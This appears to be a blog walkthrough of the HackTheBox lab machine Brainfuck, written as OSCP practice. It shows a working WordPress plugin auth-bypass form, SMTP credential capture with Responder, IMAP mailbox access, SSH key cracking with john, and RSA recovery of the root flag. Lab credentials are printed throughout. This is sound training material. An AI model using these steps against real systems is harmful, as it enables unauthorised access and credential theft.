HackTheBox | Brainfuck

In this walkthrough, I demonstrate how I obtained complete ownership of Brainfuck on HackTheBox
HackTheBox | Brainfuck
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.93 scan initiated Sat Mar 18 19:43:18 2023 as: nmap -Pn -p- -A -T5 -oN scan.txt
Nmap scan report for
Host is up (0.012s latency).
Not shown: 65530 filtered tcp ports (no-response)
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
|   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_  256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: ENABLE ID IDLE more have AUTH=PLAINA0001 SASL-IR listed Pre-login capabilities post-login LITERAL+ IMAP4rev1 OK LOGIN-REFERRALS
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_http-server-header: nginx/1.10.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
1   11.41 ms
2   11.48 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 18 19:45:07 2023 -- 1 IP address (1 host up) scanned in 109.19 seconds

Service Enumeration


443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_http-server-header: nginx/1.10.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1

Some immediate observations:

  • The TLS cert has a CN of brainfuck.htb
  • There are two SANs: www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb

Let's add those SANs to the /etc/hosts file on our attack box.

sudo nano /etc/hosts

# HTB brainfuck     brainfuck.htb     www.brainfuck.htb     sup3rs3cr3t.brainfuck.htb

The reasoning behind this is that the web server running on TCP/443 on the target could be serving different applications and/or directories depending on the hostname. This is known as virtual hosts.

Enumerate Virtual Hosts

Sure enough, this web server is serving applications by hostname. www.brainfuck.htb redirects to brainfuck.htb.


orestis@brainfuck.htb — This will likely come in handy for the mail services and potential bruteforcing. Looks like here, the blog user is admin, orestis@brainfuck.htb could be the admin user's email, but will enumerate some more.

Enumerate WordPress


We can see that this site is running WordPress 4.7.3


Enumerate WordPress plugins

This WordPress site is using a plugin called wp-support-plus-responsive-ticket-system and is at version 7.1.3.

Looks like there are a couple public exploits for this version

Possible Exploits

I am going to copy both exploits to my current directory, so that I can inspect them further.

# Copies 40939.txt to $PWD
searchsploit -m 40939
# Copies 41006.txt to $PWD
searchsploit -m 41006

I felt like the details in the Exploit DB write-up were a bit inadequate to understand the exploit, so I found the researcher's blog with a more technical write-up.

WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation - security.szurek.pl
You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

This exploit requires a HTTP POST request to https://brainfuck.htb/wp-admin/admin-ajax.php with the form data shown in the Exploit DB (or blog) write-up.

This exploit works based on the functionality of loginGuestFacebook.php. This PHP script is going to HTTP POST with the form values shown in the exploit. The wp_set_auth_cookie() function allows us to be authenticated to the WordPress site as long as we know two things:

  • Username
  • Email Address

I have a pretty good guess at this point about what those would be based on my enumeration.

  • Username = admin
  • Email Address = orestis@brainfuck.htb

Exploiting WordPress
<form method="post" action="http://wp/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">

Exploit Template

Looking at this form from the exploit POC, it has four input points that we need to provide:

  • username (change this)
  • email (change this)
  • action
  • submit

I am going to save this form to pwn.html and serve it using a Python HTTP server.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="orestis@brainfuck.htb">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">


Now, in my browser, I am going to to, click Login, and POST it to the target PHP script. After that, I should be able to hit the admin panel.

Form loaded
Request processed
Looks like I have a cookie for /wp-admin
I'm in as admin!

More Enumeration

If we look at the plugins, we can see two are active. Let's check the settings on the SMTP plugin.

I bet I can catch that password if I listen on TCP/25, point the SMTP Host to my IP address, and try sending a test email.

sudo nano /usr/share/responder/Responder.conf

Edit the Responder config


Enable the SMTP server

sudo responder -I tun0 -A

Run Responder in Analysis mode

# Tshark (Wireshark CLI)
sudo tshark -ni tun0 tcp port 25

Capture packets on TCP/25 using Wireshark CLI

The stage is set. When ready, click the Send Test Email button in the SMTP Settings interface.

SMTP 25 37880 S: 334 VXNlcm5hbWU6
SMTP 37880 25 C: User: b3Jlc3Rpcw==
SMTP 25 37880 S: 334 UGFzc3dvcmQ6
SMTP 37880 25 C: Pass: a0hHdUVSQjI5RE5pTkU=

The 'User' and 'Pass' fields are base64-encoded

Whew! We got a credential! orestis kHGuERB29DNiNE.


We can see two potential usernames here
"Privileged", you say?

The password I obtained from the WordPress server did not work for the forum login, but it did allow me to map Orestis' mailbox from the IMAP server running on the target — see TCP/143 — where I was able to find a possible forum password. Let's see if it will let me in now.

I'm in as orestis!

Looking at the threads, SSH is key based only (no password logon — as I found out early on). The thread called, "Key" is "encrypted", but there are some decipherable aspects to the posts.


This is clearly a URL

If I had to guess:

  • Pieagnm - Jkoijeg nbw zwx mle grwsnn
  • Wejmvse - Fbtkqal zqb rso rnl cwihsf
  • Qbqquzs - Pnhekxs dpi fca fhf zdmgzt
    • Orestis - Hacking for fun and profit (Orestis' tagline seen in other posts)
  • mnvze://zsrivszwm.rfz : https://brainfuck.htb
  • ub_sja : id_rsa

Inspect Ciphers with CyberChef

Looking at the ciphertext, it looks like some kind of substitution cipher. But, it doesn't look like a simple Caesar cipher. I start off with a Vignere decoder and use Orestis as the key, since there's not much else I know about the user.

Interesting that the first word almost spells Brainfuck.

I put the first word from each of Orestis' encoded taglines into the decoder and I think I have an idea. I am going to try a key of fuckmybrain.

Grab the SSH Private Key

I should be able to pull the SSH private key using cURL.

curl -ks https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -o ./orestis.key
cat orestis.key
chmod 600 ./orestis.key

The SSH encryption headers are embedded in the key file.

DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

We can use ssh2john to create a hash file and attempt to crack it:

ssh2john ./orestis.key > ssh-hash.txt
john --wordlist=rockyou.txt ssh-hash.txt

Try and crack the SSH key password


Nice! I should now be able to SSH into the target as orestis using this SSH key.

ssh -i ./orestis.key orestis@


The username and password I discovered on the WordPress site did not work as a login for sup3rs3cr3t web server. So, I am going to try mapping Orestis' mailbox using the credential and the mutt program.

I am using the sample IMAP configuration from the Debian wiki as a template for this one-off mailbox access, as mutt will take a configuration file as an argument instead of using the default configuration paths.

Mutt - Debian Wiki
nano ./muttrc

Create a mutt config file

set spoolfile = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set folder = "imap://orestis:kHGuERB29DNiNE@brainfuck.htb/"
set record = "Sent"
set postponed = "Drafts"
set ssl_starttls = no
set ssl_force_tls = no
set mail_check = 60
set timeout = 10
set header_cache = /tmp/.hcache
set net_inc=5

These are the variables that worked for me in testing

mutt -F ./muttrc

Use 'mutt' to map the mailbox from the IMAP server on the target

We got another credential and this time it's for the forum! orestis kIEnnfEKJ#9UmdO.


An out-of-date WordPress installation had installed an unpatched WP Support plugin which allows any user to authenticate as a valid user given they know the username and email of the account. Using this vulnerability, I was able to "pass back" the SMTP credentials of the administrative user, orestis and access said user's mailbox.

In the mailbox was a password for another web account belonging to orestis. I accessed this additional account and found a thread containing sensitive information using weak "encryption". I was able to reverse the encoded text and reveal a globally-readable SSH private key hosted on a web URL.

The SSH key file was password protected, but poorly so, as the password was cracked using a wordlist. Now in possession of the key file and the password, I was able SSH into the target as orestis.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="16.04.2 LTS (Xenial Xerus)"
PRETTY_NAME="Ubuntu 16.04.2 LTS"
Linux brainfuck 4.4.0-75-generic #96-Ubuntu SMP Thu Apr 20 09:56:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

Sorry, user orestis may not run sudo on brainfuck.

Users and Groups

Local Users

orestis:x:1000:1000:Orestis Makrogiannis,,,:/home/orestis:/bin/bash

Local Groups


Network Configurations


2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:ac:01 brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:ac01/64 scope global mngtmpaddr dynamic 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:ac01/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0*               LISTEN      -

Interesting Files


nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')


<?php return array (
  'debug' => true,
  'database' => 
  array (
    'driver' => 'mysql',
    'host' => 'localhost',
    'database' => 'forum',
    'username' => 'forum',
    'password' => 'hfieINFEIJncIldj',
    'charset' => 'utf8mb4',
    'collation' => 'utf8mb4_unicode_ci',
    'prefix' => 'sf',
    'strict' => false,
  'url' => 'https://sup3rs3cr3t.brainfuck.htb',
  'paths' => 
  array (
    'api' => 'api',
    'admin' => 'admin',

Privilege Escalation

After some lengthy enumeration, there appear to be two paths to privilege escalation:

  • LXD group membership (which I've used on other CTFs)
  • The encrypt.sage script in /home/orestis

I am fairly certain the intended challenge is the script file. Looking at the script, we know these things:

  • The script has encrypted /root/root.txt
  • The encrypted string is in /home/orestis/output.txt
  • The script output debug info for p, q, and e in /home/orestis/debug.txt

I consulted Google with: p q e encryption...

So, it looks like this script is encrypting the /root/root.txt file with 1024-bit RSA encryption. I then searched on Google for: Given p q e decrypt rsa and I got this result back that looks promising.

RSA - Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017
Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017 - rsa_egcd.py

I'm only going to add here the code that I modified:

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
# ct is the ciphertext
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182






More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.